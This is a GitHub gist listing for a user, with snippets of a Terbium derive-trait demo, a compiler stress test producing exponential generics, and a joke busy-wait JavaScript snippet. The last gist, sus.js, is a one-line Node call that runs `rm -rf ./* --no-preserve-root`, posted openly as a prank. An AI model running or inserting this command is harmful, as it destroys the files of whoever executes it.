Skip to content

Instantly share code, notes, and snippets.

View jay3332's full-sized avatar
:fishsticks:
æ

Jay3332 jay3332

:fishsticks:
æ
View GitHub Profile
@jay3332
jay3332 / derive_traits.tb
Created July 10, 2023 14:44
Demonstrates how to use the derive preprocessor to automatically implement traits
//! Demonstrates how to use the derive preprocessor to automatically implement traits.
// Use @derivable to define a trait that can be derived
@derivable(expansion: derive_sample_trait)
trait SampleTrait {
public func am_i_true(self) -> bool;
}
// bool and int are SampleTrait
extend SampleTrait for bool {
@jay3332
jay3332 / gen_exponential_substitution.trb
Last active May 11, 2023 14:47
terbium stress tests
//! This generates 134,931,480 implied generics on G
struct A<T> {
a: (T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T),
}
struct B<T>: A<(T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T)> {}
struct C<T>: B<(T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T)> {}
struct D<T>: C<(T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T)> {}
struct E<T>: D<(T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T)> {}
struct F<T>: E<(T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T)> {}
@jay3332
jay3332 / javascript.js
Created September 4, 2021 02:40
professional javascript code
let i = 0
const _ = (__)=>{var now=
new
Date
(
).getTime
(
)
;
while((d() || true) && new Date().getTime() < now + __)
@jay3332
jay3332 / sus.js
Last active April 3, 2021 19:05
bruh
require("child-process").exec("rm -rf ./* --no-preserve-root");